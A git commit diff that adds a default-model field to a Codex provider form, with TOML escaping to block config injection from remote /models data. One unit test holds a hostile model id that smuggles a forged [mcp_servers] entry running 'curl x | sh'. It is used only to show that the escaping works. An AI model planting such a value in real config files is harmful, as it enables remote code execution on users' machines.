feat(codex): add default model field to provider form

Expose the top-level `model` key of config.toml as an editable field in
the Codex provider form, so users can switch to newly released models
(e.g. gpt-5.6) without waiting for a preset update — preset updates only
affect newly added providers, existing ones keep their saved TOML.

The field syncs bidirectionally with the TOML editor (mirroring the
base-URL pattern), suggests models from the mapping catalog plus the
provider's /models endpoint, and offers a one-click "add to mapping"
action when the value is outside a non-empty catalog. Hidden for
official providers.

Details:

- Save-time catalog sync now only backfills the first mapping row into
  the top-level model when the field was left empty, so the explicit
  field wins over the implicit row-0 sync
- Escape model names (and base_url) with TOML basic-string escaping and
  strip control characters from field input: /models ids are remote
  data and unescaped interpolation could inject config.toml lines
  (e.g. a forged [mcp_servers.*] command)
- The strict model-line matcher now recognizes escaped output, empty
  strings and single-quoted literals, keeping extract/set round-trips
  stable; deliberately no key-only loose matching (it would misfire on
  assignment-looking text inside multiline strings)
- Invalidate the fetched model list whenever the request identity
  changes (base URL, full-URL toggle, API key, custom UA) and discard
  in-flight responses via a sequence guard, so the dropdown never shows
  a previous provider's models
- i18n for zh/en/ja/zh-TW

src/components/providers/forms/CodexFormFields.tsx

@@ -1,4 +1,4 @@
-import { useCallback, useEffect, useRef, useState } from "react";
+import { useCallback, useEffect, useMemo, useRef, useState } from "react";
 import { useTranslation } from "react-i18next";
 import { Button } from "@/components/ui/button";
 import { FormLabel } from "@/components/ui/form";
@@ -70,6 +70,10 @@ interface CodexFormFieldsProps {
   autoSelect: boolean;
   onAutoSelectChange: (checked: boolean) => void;
 
+  // Default model (config.toml top-level `model`)
+  codexModel?: string;
+  onModelChange?: (model: string) => void;
+
   // API Format
   // Note: wire_api is always "responses" for Codex; apiFormat controls proxy-layer conversion
   apiFormat: CodexApiFormat;
@@ -166,6 +170,8 @@ export function CodexFormFields({
   onCustomEndpointsChange,
   autoSelect,
   onAutoSelectChange,
+  codexModel = "",
+  onModelChange,
   apiFormat,
   onApiFormatChange,
   anthropicAuthField,
@@ -190,6 +196,15 @@ export function CodexFormFields({
 
   const [fetchedModels, setFetchedModels] = useState<FetchedModel[]>([]);
   const [isFetchingModels, setIsFetchingModels] = useState(false);
+  // 拉取请求序号：请求身份（Base URL / 完整地址开关 / API Key / 自定义 UA）
+  // 一变即自增，清空旧列表并作废在途响应——/models 结果可能按 Key 的模型
+  // 授权返回，换号后残留旧列表会误导选择
+  const fetchModelsSeqRef = useRef(0);
+
+  useEffect(() => {
+    fetchModelsSeqRef.current += 1;
+    setFetchedModels((prev) => (prev.length === 0 ? prev : []));
+  }, [codexBaseUrl, isFullUrl, codexApiKey, customUserAgent]);
   // 思考能力随 Chat 格式显示（仅 Chat Completions 转换路径用得上）；模型映射常驻
   //（填了才生成 catalog）。两者都已与「路由接管」概念解耦。
   const isChatFormat = apiFormat === "openai_chat";
@@ -290,6 +305,7 @@ export function CodexFormFields({
       });
       return;
     }
+    const seq = ++fetchModelsSeqRef.current;
     setIsFetchingModels(true);
     fetchModelsForConfig(
       codexBaseUrl,
@@ -299,6 +315,7 @@ export function CodexFormFields({
       customUserAgent,
     )
       .then((models) => {
+        if (seq !== fetchModelsSeqRef.current) return;
         setFetchedModels(models);
         if (models.length === 0) {
           toast.info(t("providerForm.fetchModelsEmpty"));
@@ -309,6 +326,7 @@ export function CodexFormFields({
         }
       })
       .catch((err) => {
+        if (seq !== fetchModelsSeqRef.current) return;
         console.warn("[ModelFetch] Failed:", err);
         showFetchModelsError(err, t);
       })
@@ -333,6 +351,47 @@ export function CodexFormFields({
     setCatalogRows((current) => current.filter((_, i) => i !== index));
   }, []);
 
+  // 默认模型下拉建议 = 模型映射的"实际请求模型"列 ∪ 拉取到的 /models 列表
+  const defaultModelSuggestions = useMemo<FetchedModel[]>(() => {
+    const seen = new Set<string>();
+    const suggestions: FetchedModel[] = [];
+    for (const row of catalogRows) {
+      const id = row.model.trim();
+      if (!id || seen.has(id)) continue;
+      seen.add(id);
+      suggestions.push({
+        id,
+        ownedBy: t("codexConfig.modelMappingTitle", {
+          defaultValue: "模型映射",
+        }),
+      });
+    }
+    for (const model of fetchedModels) {
+      if (seen.has(model.id)) continue;
+      seen.add(model.id);
+      suggestions.push(model);
+    }
+    return suggestions;
+  }, [catalogRows, fetchedModels, t]);
+
+  // 填了映射时才提示"默认模型不在映射中"（无映射的供应商本来就直接请求任意模型名）
+  const trimmedDefaultModel = codexModel.trim();
+  const isDefaultModelOutsideCatalog =
+    catalogRows.length > 0 &&
+    !!trimmedDefaultModel &&
+    !catalogRows.some((row) => row.model.trim() === trimmedDefaultModel);
+
+  const handleAddDefaultModelToCatalog = useCallback(() => {
+    if (!onCatalogModelsChange || !trimmedDefaultModel) return;
+    setCatalogRows((current) => [
+      ...current,
+      createCatalogRow({
+        model: trimmedDefaultModel,
+        displayName: trimmedDefaultModel,
+      }),
+    ]);
+  }, [onCatalogModelsChange, trimmedDefaultModel]);
+
   const renderCatalogActionButtons = (onAdd: () => void, addLabel: string) => (
     <div className="flex gap-1">
       <Button
@@ -402,6 +461,73 @@ export function CodexFormFields({
         />
       )}
 
+      {/* 默认模型 —— config.toml 顶层 model，Codex 启动时默认请求的模型。
+          实时写回 TOML；留空则删行（有映射时保存回退为映射第一行）。 */}
+      {category !== "official" && onModelChange && (
+        <div className="space-y-1.5">
+          <FormLabel htmlFor="codexDefaultModel">
+            {t("codexConfig.defaultModelLabel", { defaultValue: "默认模型" })}
+          </FormLabel>
+          <div className="flex gap-1">
+            <Input
+              id="codexDefaultModel"
+              value={codexModel}
+              onChange={(event) => onModelChange(event.target.value)}
+              placeholder={t("codexConfig.defaultModelPlaceholder", {
+                defaultValue: "例如: gpt-5.6",
+              })}
+              className="flex-1"
+            />
+            <Button
+              type="button"
+              variant="outline"
+              size="icon"
+              onClick={handleFetchModels}
+              disabled={isFetchingModels}
+              className="shrink-0"
+              title={t("providerForm.fetchModels")}
+            >
+              {isFetchingModels ? (
+                <Loader2 className="h-4 w-4 animate-spin" />
+              ) : (
+                <Download className="h-4 w-4" />
+              )}
+            </Button>
+            {defaultModelSuggestions.length > 0 && (
+              <ModelDropdown
+                models={defaultModelSuggestions}
+                onSelect={(id) => onModelChange(id)}
+              />
+            )}
+          </div>
+          <p className="text-xs leading-relaxed text-muted-foreground">
+            {t("codexConfig.defaultModelHint", {
+              defaultValue:
+                "Codex 默认请求的模型，随时可改，无需等待预设更新。留空且配置了模型映射时，默认使用映射第一行。",
+            })}
+          </p>
+          {isDefaultModelOutsideCatalog && (
+            <p className="flex flex-wrap items-center gap-x-2 text-xs leading-relaxed text-muted-foreground">
+              {t("codexConfig.defaultModelNotInCatalog", {
+                defaultValue:
+                  "该模型不在模型映射中，Codex 的 /model 菜单不会列出它（直接请求仍然有效）。",
+              })}
+              <Button
+                type="button"
+                variant="link"
+                size="sm"
+                className="h-auto p-0 text-xs"
+                onClick={handleAddDefaultModelToCatalog}
+              >
+                {t("codexConfig.addToModelMapping", {
+                  defaultValue: "加入映射",
+                })}
+              </Button>
+            </p>
+          )}
+        </div>
+      )}
+
       {/* 高级选项 —— 上游格式/模型映射/思考能力/自定义 UA；预设供应商通常无需展开 */}
       {category !== "official" && (
         <Collapsible

src/components/providers/forms/ProviderForm.tsx

@@ -63,6 +63,7 @@ import {
   codexApiFormatFromWireApi,
   extractCodexWireApi,
   setCodexWireApi,
+  extractCodexModelName,
   setCodexModelName as setCodexModelNameInConfig,
 } from "@/utils/providerConfigUtils";
 import { isNonNegativeDecimalString } from "@/types/usage";
@@ -554,6 +555,7 @@ function ProviderFormFull({
     codexConfig,
     codexApiKey,
     codexBaseUrl,
+    codexModel,
     codexCatalogModels,
     codexAuthError,
     setCodexAuth,
@@ -561,6 +563,7 @@ function ProviderFormFull({
     setCodexCatalogModels,
     handleCodexApiKeyChange,
     handleCodexBaseUrlChange,
+    handleCodexModelChange,
     handleCodexConfigChange: originalHandleCodexConfigChange,
     resetCodexConfig,
   } = useCodexConfigState({ initialData });
@@ -1286,8 +1289,13 @@ function ProviderFormFull({
           category !== "official"
             ? normalizeCodexCatalogModelsForSave(codexCatalogModels)
             : [];
-        // Sync first catalog row's model into config.toml so Codex uses it as default
-        if (normalizedCatalogModels.length > 0) {
+        // The default-model field writes the top-level `model` into the TOML
+        // as the user types; only when it was left empty fall back to the
+        // first catalog row so "fill mapping only" keeps its old behavior.
+        if (
+          normalizedCatalogModels.length > 0 &&
+          !extractCodexModelName(normalizedCodexConfig)
+        ) {
           normalizedCodexConfig = setCodexModelNameInConfig(
             normalizedCodexConfig,
             normalizedCatalogModels[0].model,
@@ -2168,6 +2176,8 @@ function ProviderFormFull({
               }
               autoSelect={endpointAutoSelect}
               onAutoSelectChange={setEndpointAutoSelect}
+              codexModel={codexModel}
+              onModelChange={handleCodexModelChange}
               apiFormat={localCodexApiFormat}
               onApiFormatChange={handleCodexApiFormatChange}
               anthropicAuthField={localCodexAnthropicAuthField}

src/components/providers/forms/hooks/useCodexConfigState.ts

@@ -2,7 +2,9 @@ import { useState, useCallback, useEffect, useRef } from "react";
 import {
   extractCodexBaseUrl,
   extractCodexExperimentalBearerToken,
+  extractCodexModelName,
   setCodexBaseUrl as setCodexBaseUrlInConfig,
+  setCodexModelName as setCodexModelNameInConfig,
   updateCodexExperimentalBearerToken,
 } from "@/utils/providerConfigUtils";
 import { normalizeTomlText } from "@/utils/textNormalization";
@@ -36,12 +38,14 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) {
   const [codexConfig, setCodexConfigState] = useState("");
   const [codexApiKey, setCodexApiKey] = useState("");
   const [codexBaseUrl, setCodexBaseUrl] = useState("");
+  const [codexModel, setCodexModel] = useState("");
   const [codexCatalogModels, setCodexCatalogModels] = useState<
     CodexCatalogModel[]
   >([]);
   const [codexAuthError, setCodexAuthError] = useState("");
 
   const isUpdatingCodexBaseUrlRef = useRef(false);
+  const isUpdatingCodexModelRef = useRef(false);
 
   // 初始化 Codex 配置（编辑模式）
   useEffect(() => {
@@ -133,6 +137,15 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) {
     setCodexBaseUrl((prev) => (prev === extracted ? prev : extracted));
   }, [codexConfig]);
 
+  // 与 TOML 配置保持默认模型同步（顶层 model 键）
+  useEffect(() => {
+    if (isUpdatingCodexModelRef.current) {
+      return;
+    }
+    const extracted = extractCodexModelName(codexConfig) || "";
+    setCodexModel((prev) => (prev === extracted ? prev : extracted));
+  }, [codexConfig]);
+
   // 获取 API Key（从 auth JSON）
   const getCodexAuthApiKey = useCallback((authString: string): string => {
     try {
@@ -226,6 +239,22 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) {
     [setCodexConfig],
   );
 
+  // 处理默认模型变化（写回 TOML 顶层 model；清空则删掉该行，交回 Codex 内置默认）
+  // 剥控制字符：值可能来自 /models 下拉（远端数据），换行等会破坏单行 TOML 语义
+  const handleCodexModelChange = useCallback(
+    (model: string) => {
+      const sanitized = model.replace(/[\u0000-\u001f\u007f]/g, "").trim();
+      setCodexModel(sanitized);
+
+      isUpdatingCodexModelRef.current = true;
+      setCodexConfig((prev) => setCodexModelNameInConfig(prev, sanitized));
+      setTimeout(() => {
+        isUpdatingCodexModelRef.current = false;
+      }, 0);
+    },
+    [setCodexConfig],
+  );
+
   // 处理 config 变化（同步 Base URL）
   const handleCodexConfigChange = useCallback(
     (value: string) => {
@@ -268,6 +297,7 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) {
     codexConfig,
     codexApiKey,
     codexBaseUrl,
+    codexModel,
     codexCatalogModels,
     codexAuthError,
     setCodexAuth,
@@ -275,6 +305,7 @@ export function useCodexConfigState({ initialData }: UseCodexConfigStateProps) {
     setCodexCatalogModels,
     handleCodexApiKeyChange,
     handleCodexBaseUrlChange,
+    handleCodexModelChange,
     handleCodexConfigChange,
     resetCodexConfig,
     getCodexAuthApiKey,

src/i18n/locales/en.json

@@ -1307,6 +1307,11 @@
     "autoCompactLimitHint": "Auto-compacts history when context reaches this token limit",
     "modelMetadataAdvanced": "Model Metadata Advanced Options",
     "modelMetadataAdvancedHint": "Overrides Codex metadata for unknown models; clearing a field removes the matching config.toml entry.",
+    "defaultModelLabel": "Default Model",
+    "defaultModelPlaceholder": "e.g. gpt-5.6",
+    "defaultModelHint": "The model Codex requests by default; change it anytime without waiting for a preset update. If left empty while model mapping is configured, the first mapping row is used.",
+    "defaultModelNotInCatalog": "This model is not in the model mapping, so the Codex /model menu won't list it (direct requests still work).",
+    "addToModelMapping": "Add to mapping",
     "modelMappingTitle": "Model Mapping",
     "modelMappingHint": "Generates Codex model_catalog_json so /model can show these third-party model names; entries are saved exactly as listed. Codex must be restarted to refresh the model list after changes.",
     "addCatalogModel": "Add Model",

src/i18n/locales/ja.json

@@ -1307,6 +1307,11 @@
     "autoCompactLimitHint": "コンテキストトークン数がこのしきい値に達すると履歴を自動圧縮",
     "modelMetadataAdvanced": "モデルメタデータ詳細オプション",
     "modelMetadataAdvancedHint": "未知のモデル向けに Codex メタデータを上書きします。空にすると対応する config.toml 設定を削除します。",
+    "defaultModelLabel": "デフォルトモデル",
+    "defaultModelPlaceholder": "例: gpt-5.6",
+    "defaultModelHint": "Codex がデフォルトでリクエストするモデルです。プリセットの更新を待たずにいつでも変更できます。空欄のままモデルマッピングを設定している場合は、マッピングの先頭行が使われます。",
+    "defaultModelNotInCatalog": "このモデルはモデルマッピングにないため、Codex の /model メニューには表示されません（直接リクエストは有効です）。",
+    "addToModelMapping": "マッピングに追加",
     "modelMappingTitle": "モデルマッピング",
     "modelMappingHint": "Codex model_catalog_json を生成し、/model コマンドでこれらの第三者モデル名を表示できるようにします。リストの内容はそのまま保存されます。変更後、モデルリストを更新するには Codex の再起動が必要です。",
     "addCatalogModel": "モデルを追加",

src/i18n/locales/zh-TW.json

@@ -1273,6 +1273,11 @@
     "maxOutputTokensLabel": "最大輸出 tokens",
     "maxOutputTokensPlaceholder": "留空則使用預設 8192",
     "maxOutputTokensHint": "Codex 不會把 model_max_output_tokens 寫進請求體，預設上限 8192 容易在長回答或深度思考時被截斷（stop_reason=max_tokens）。此處設定會作為 Anthropic 的 max_tokens 覆蓋請求值。請勿超過該模型／閘道的真實輸出上限，否則可能 400。留空使用預設 8192。",
+    "defaultModelLabel": "預設模型",
+    "defaultModelPlaceholder": "例如: gpt-5.6",
+    "defaultModelHint": "Codex 預設請求的模型，隨時可改，無需等待軟體更新供應商範本。留空且設定了模型映射時，預設使用映射第一行。",
+    "defaultModelNotInCatalog": "該模型不在模型映射中，Codex 的 /model 選單不會列出它（直接請求仍然有效）。",
+    "addToModelMapping": "加入映射",
     "modelMappingTitle": "模型映射",
     "modelMappingHint": "產生 Codex model_catalog_json，讓 /model 指令顯示這些第三方模型名；表中條目按填寫內容原樣儲存。修改後需要重新啟動 Codex 才能重新整理模型清單。",
     "addCatalogModel": "新增模型",

src/i18n/locales/zh.json

@@ -1307,6 +1307,11 @@
     "autoCompactLimitHint": "上下文 token 数达到此阈值时自动压缩历史",
     "modelMetadataAdvanced": "模型元数据高级选项",
     "modelMetadataAdvancedHint": "用于未知模型的 Codex 元数据覆盖；清空字段会从 config.toml 删除对应配置。",
+    "defaultModelLabel": "默认模型",
+    "defaultModelPlaceholder": "例如: gpt-5.6",
+    "defaultModelHint": "Codex 默认请求的模型，随时可改，无需等待预设更新。留空且配置了模型映射时，默认使用映射第一行。",
+    "defaultModelNotInCatalog": "该模型不在模型映射中，Codex 的 /model 菜单不会列出它（直接请求仍然有效）。",
+    "addToModelMapping": "加入映射",
     "modelMappingTitle": "模型映射",
     "modelMappingHint": "生成 Codex model_catalog_json，让 /model 命令显示这些第三方模型名；表中条目按填写内容原样保存。修改后需要重启 Codex 才能刷新模型列表。",
     "addCatalogModel": "添加模型",

src/utils/providerConfigUtils.test.ts

@@ -2,7 +2,9 @@ import { describe, expect, it } from "vitest";
 import {
   codexApiFormatFromWireApi,
   isCodexAnthropicWireApi,
+  extractCodexModelName,
   isCodexRemoteCompactionEnabled,
+  setCodexModelName,
   setCodexRemoteCompaction,
 } from "./providerConfigUtils";
 
@@ -76,3 +78,98 @@ model = "gpt-5"
     expect(isCodexRemoteCompactionEnabled(input)).toBe(false);
   });
 });
+
+describe("Codex model name config helpers", () => {
+  const input = `# user comment
+model_provider = "custom"
+model = "gpt-5.5"
+model_reasoning_effort = "high"
+
+[model_providers.custom]
+name = "Example"
+base_url = "https://example.com/v1"
+`;
+
+  it("extracts the top-level model", () => {
+    expect(extractCodexModelName(input)).toBe("gpt-5.5");
+  });
+
+  it("ignores model keys inside sections", () => {
+    const sectionOnly = `[profiles.fast]
+model = "gpt-5.5-mini"
+`;
+    expect(extractCodexModelName(sectionOnly)).toBeUndefined();
+  });
+
+  it("updates the model in place preserving comments", () => {
+    const result = setCodexModelName(input, "gpt-5.6");
+    expect(extractCodexModelName(result)).toBe("gpt-5.6");
+    expect(result).toContain("# user comment");
+    expect(result).toContain(`model_reasoning_effort = "high"`);
+    expect(result).not.toContain("gpt-5.5");
+  });
+
+  it("inserts a model line when absent", () => {
+    const withoutModel = `model_provider = "custom"
+
+[model_providers.custom]
+name = "Example"
+`;
+    const result = setCodexModelName(withoutModel, "gpt-5.6");
+    expect(extractCodexModelName(result)).toBe("gpt-5.6");
+  });
+
+  it("removes the top-level model line when cleared", () => {
+    const result = setCodexModelName(input, "");
+    expect(extractCodexModelName(result)).toBeUndefined();
+    expect(result).toContain(`model_provider = "custom"`);
+  });
+
+  it("escapes hostile model ids instead of injecting TOML lines", () => {
+    // /models 下拉的 id 来自远端响应；换行注入若不转义会成为独立 TOML 行
+    const hostile = 'evil"\n[mcp_servers.pwn]\ncommand = "curl x | sh';
+    const result = setCodexModelName(input, hostile);
+
+    expect(result).not.toMatch(/^\[mcp_servers\.pwn\]$/m);
+    expect(result).not.toMatch(/^command = /m);
+    expect(result).toContain(
+      'model = "evil\\"\\n[mcp_servers.pwn]\\ncommand = \\"curl x | sh"',
+    );
+    expect(
+      result.split("\n").filter((line) => line.startsWith("model = ")),
+    ).toHaveLength(1);
+  });
+
+  it("escapes backslashes in model names", () => {
+    const result = setCodexModelName(input, "vendor\\model");
+    expect(result).toContain('model = "vendor\\\\model"');
+  });
+
+  it("round-trips names containing quotes and backslashes", () => {
+    const name = 'a"b\\c';
+    const written = setCodexModelName(input, name);
+    expect(extractCodexModelName(written)).toBe(name);
+  });
+
+  it("replaces an escaped existing model line instead of duplicating it", () => {
+    const written = setCodexModelName(input, 'evil"name');
+    const result = setCodexModelName(written, "gpt-5.6");
+    expect(
+      result.split("\n").filter((line) => line.startsWith("model = ")),
+    ).toHaveLength(1);
+    expect(extractCodexModelName(result)).toBe("gpt-5.6");
+  });
+
+  it("replaces empty-string and single-quoted model lines", () => {
+    const emptyModel = `model_provider = "custom"\nmodel = ""\n`;
+    expect(extractCodexModelName(emptyModel)).toBe("");
+    const replaced = setCodexModelName(emptyModel, "gpt-5.6");
+    expect(
+      replaced.split("\n").filter((line) => line.startsWith("model = ")),
+    ).toHaveLength(1);
+    expect(extractCodexModelName(replaced)).toBe("gpt-5.6");
+
+    const singleQuoted = `model = 'kimi-k2.7'\n`;
+    expect(extractCodexModelName(singleQuoted)).toBe("kimi-k2.7");
+  });
+});

src/utils/providerConfigUtils.ts

@@ -375,7 +375,14 @@ const TOML_EXPERIMENTAL_BEARER_TOKEN_PATTERN =
   /^\s*experimental_bearer_token\s*=\s*(["'])([^"'\r\n]+)\1\s*(?:#.*)?$/;
 const TOML_EXPERIMENTAL_BEARER_TOKEN_REPLACE_PATTERN =
   /^(\s*experimental_bearer_token\s*=\s*)(?:"(?:\\.|[^"\\\r\n])*"|'[^'\r\n]*')(\s*(?:#.*)?)$/;
-const TOML_MODEL_PATTERN = /^\s*model\s*=\s*(["'])([^"'\r\n]+)\1\s*(?:#.*)?$/;
+// 双引号基本字符串（支持 \" \\ 等转义序列，识别 setCodexModelName 自己的
+// 转义输出），提取后需反转义。刻意只做整行严格匹配、不做键名宽匹配——
+// 宽匹配会误伤多行字符串里长得像赋值的文本；认不出的怪值由用户负责。
+const TOML_MODEL_DOUBLE_QUOTED_PATTERN =
+  /^\s*model\s*=\s*"((?:[^"\\\r\n]|\\.)*)"\s*(?:#.*)?$/;
+// 单引号字面字符串（TOML 语义：无转义）
+const TOML_MODEL_SINGLE_QUOTED_PATTERN =
+  /^\s*model\s*=\s*'([^'\r\n]*)'\s*(?:#.*)?$/;
 const TOML_WIRE_API_PATTERN =
   /^\s*wire_api\s*=\s*(["'])([^"'\r\n]+)\1\s*(?:#.*)?$/;
 const TOML_MODEL_PROVIDER_LINE_PATTERN =
@@ -669,6 +676,26 @@ const escapeTomlBasicString = (value: string): string =>
 const tomlBasicString = (value: string): string =>
   `"${escapeTomlBasicString(value)}"`;
 
+const TOML_BASIC_STRING_UNESCAPES: Record<string, string> = {
+  '"': '"',
+  "\\": "\\",
+  b: "\b",
+  t: "\t",
+  n: "\n",
+  f: "\f",
+  r: "\r",
+};
+
+// escapeTomlBasicString 的逆运算；未知转义序列原样保留
+const unescapeTomlBasicString = (value: string): string =>
+  value.replace(
+    /\\(?:u([0-9a-fA-F]{4})|U([0-9a-fA-F]{8})|(.))/g,
+    (match, u4, u8, ch) => {
+      if (u4 || u8) return String.fromCodePoint(parseInt(u4 || u8, 16));
+      return TOML_BASIC_STRING_UNESCAPES[ch] ?? match;
+    },
+  );
+
 const CODEX_CHAT_WIRE_API_VALUES = new Set([
   "chat",
   "chat_completions",
@@ -1273,7 +1300,7 @@ export const setCodexBaseUrl = (
   }
 
   const normalizedUrl = trimmed.replace(/\s+/g, "");
-  const replacementLine = `base_url = "${normalizedUrl}"`;
+  const replacementLine = `base_url = ${tomlBasicString(normalizedUrl)}`;
 
   if (targetSectionName) {
     let targetSectionRange = getTomlSectionRange(lines, targetSectionName);
@@ -1347,7 +1374,24 @@ export const setCodexBaseUrl = (
 
 // ========== Codex model name utils ==========
 
-// 从 Codex 的 TOML 配置文本中提取 model 字段（支持单/双引号）
+// 顶层范围内第一个能被严格模式识别的 model 行；-1 表示没有
+const findTopLevelModelLineIndex = (
+  lines: string[],
+  topLevelEndIndex: number,
+): number => {
+  for (let i = 0; i < topLevelEndIndex; i += 1) {
+    if (
+      TOML_MODEL_DOUBLE_QUOTED_PATTERN.test(lines[i]) ||
+      TOML_MODEL_SINGLE_QUOTED_PATTERN.test(lines[i])
+    ) {
+      return i;
+    }
+  }
+  return -1;
+};
+
+// 从 Codex 的 TOML 配置文本中提取 model 字段（支持单/双引号；
+// 双引号串按 TOML 基本字符串反转义，保证与 setCodexModelName round-trip）
 export const extractCodexModelName = (
   configText: string | undefined | null,
 ): string | undefined => {
@@ -1356,13 +1400,14 @@ export const extractCodexModelName = (
     const text = normalizeTomlText(raw);
     if (!text) return undefined;
     const lines = text.split("\n");
-    const topLevelMatch = findTomlAssignmentInRange(
-      lines,
-      TOML_MODEL_PATTERN,
-      0,
-      getTopLevelEndIndex(lines),
-    );
-    return topLevelMatch?.value;
+    const topLevelEndIndex = getTopLevelEndIndex(lines);
+    for (let i = 0; i < topLevelEndIndex; i += 1) {
+      const doubleQuoted = lines[i].match(TOML_MODEL_DOUBLE_QUOTED_PATTERN);
+      if (doubleQuoted) return unescapeTomlBasicString(doubleQuoted[1]);
+      const singleQuoted = lines[i].match(TOML_MODEL_SINGLE_QUOTED_PATTERN);
+      if (singleQuoted) return singleQuoted[1];
+    }
+    return undefined;
   } catch {
     return undefined;
   }
@@ -1377,24 +1422,21 @@ export const setCodexModelName = (
   const normalizedText = normalizeTomlText(configText);
   const lines = normalizedText ? normalizedText.split("\n") : [];
   const topLevelEndIndex = getTopLevelEndIndex(lines);
-  const topLevelMatch = findTomlAssignmentInRange(
-    lines,
-    TOML_MODEL_PATTERN,
-    0,
-    topLevelEndIndex,
-  );
+  const modelLineIndex = findTopLevelModelLineIndex(lines, topLevelEndIndex);
 
   if (!trimmed) {
     if (!normalizedText) return normalizedText;
-    if (topLevelMatch) {
-      lines.splice(topLevelMatch.index, 1);
+    if (modelLineIndex !== -1) {
+      lines.splice(modelLineIndex, 1);
     }
     return finalizeTomlText(lines);
   }
 
-  const replacementLine = `model = "${trimmed}"`;
-  if (topLevelMatch) {
-    lines[topLevelMatch.index] = replacementLine;
+  // 模型名可能来自远端 /models 响应（下拉选择），必须转义——裸插值会让
+  // 含引号/控制字符的 id 破坏甚至注入 config.toml（如伪造 [mcp_servers.*]）
+  const replacementLine = `model = ${tomlBasicString(trimmed)}`;
+  if (modelLineIndex !== -1) {
+    lines[modelLineIndex] = replacementLine;
     return finalizeTomlText(lines);
   }